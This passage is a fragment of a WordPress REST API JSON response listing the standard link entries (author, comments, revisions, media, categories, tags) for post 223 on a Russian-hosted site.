p\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/planeta21vek.ru\/elina732\/fr\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/planeta21vek.ru\/elina732\/fr\/wp-json\/wp\/v2\/comments?post=223"}],"version-history":[{"count":2,"href":"https:\/\/planeta21vek.ru\/elina732\/fr\/wp-json\/wp\/v2\/posts\/223\/revisions"}],"predecessor-version":[{"id":271,"href":"https:\/\/planeta21vek.ru\/elina732\/fr\/wp-json\/wp\/v2\/posts\/223\/revisions\/271"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/planeta21vek.ru\/elina732\/fr\/wp-json\/wp\/v2\/media\/224"}],"wp:attachment":[{"href":"https:\/\/planeta21vek.ru\/elina732\/fr\/wp-json\/wp\/v2\/media?parent=223"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/planeta21vek.ru\/elina732\/fr\/wp-json\/wp\/v2\/categories?post=223"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/planeta21vek.ru\/elina732\/fr\/wp-json\/wp\/v2\/tags?post=223"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}